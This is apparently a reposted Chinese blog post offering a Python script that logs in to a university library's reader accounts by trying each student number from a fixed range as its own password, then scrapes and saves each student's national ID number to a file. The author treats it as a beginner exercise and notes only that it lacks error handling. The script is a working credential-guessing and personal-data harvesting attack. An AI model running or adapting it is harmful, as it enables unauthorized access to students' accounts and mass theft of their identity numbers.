zoukankan      html  css  js  c++  java
  • Python 获取学校图书馆OAPC账号对应的身份证号码

     1 import urllib.request
     2 import urllib.parse
     3 import http.cookiejar
     4 import re
     5 
     6 lib_login = 'http://xxx.edu.cn/reader/redr_verify.php'
     7 
     8 def get_info(number, passwd, myfile):
     9     cj = http.cookiejar.CookieJar()
    10     pro = urllib.request.HTTPCookieProcessor(cj)
    11     opener = urllib.request.build_opener(pro)
    12 
    13     postDict = {
    14         'number':str(number),
    15         'passwd':str(passwd),
    16         'select':'cert_no',
    17         'returnUrl':''
    18     }
    19     postData = urllib.parse.urlencode(postDict).encode()
    20     op = opener.open(lib_login, postData)
    21     data = op.read().decode()
    22     log_ok = False
    23     is_login = re.compile('<font color="blue">.*</font>')
    24     for x in is_login.findall(data):
    25         login_ok = re.compile('<[^>]+>')
    26         login_ok = login_ok.sub('', x)
    27         if login_ok != '':
    28             log_ok = True
    29         else:
    30             log_ok = False
    31     if log_ok:
    32         person_id = re.compile('身份证号: </span>d*</TD>')
    33         for x in person_id.findall(data):
    34             usr_psw = re.compile('<[^>]+>')
    35             usr_psw = usr_psw.sub('', x)
    36             usr_psw += '
    '
    37             number = str(number)
    38             number += '  '
    39             myfile.write(number)
    40             myfile.write(usr_psw)
    41             myfile.flush()
    42             print(number + 'OK')
    43             print(usr_psw)
    44         
    45 f = open('wifi2013.txt', 'a')
    46 for i in range(2013002734, 2013003980):
    47     get_info(i, i, f)
    48 f.close()

       此代码逻辑简单缺乏异常的处理,实在是刚入门Python的很差的代码,后续可能把它继续拿出来优化

  • 相关阅读:
    Kafka 文档用例
    Kafka 文档引言
    关于工作流核心选择
    IEEE浮点标准
    新项目的CQRS设计
    持续集成:CruiseControl.NET + VisualSVN.Server
    商城(一)
    Maven基础学习(一)—Maven入门
    Mybatis基础学习(五)—缓存
    Mybatis基础学习(四)—关系映射
  • 原文地址:https://www.cnblogs.com/changme/p/4095553.html
Copyright © 2011-2022 走看看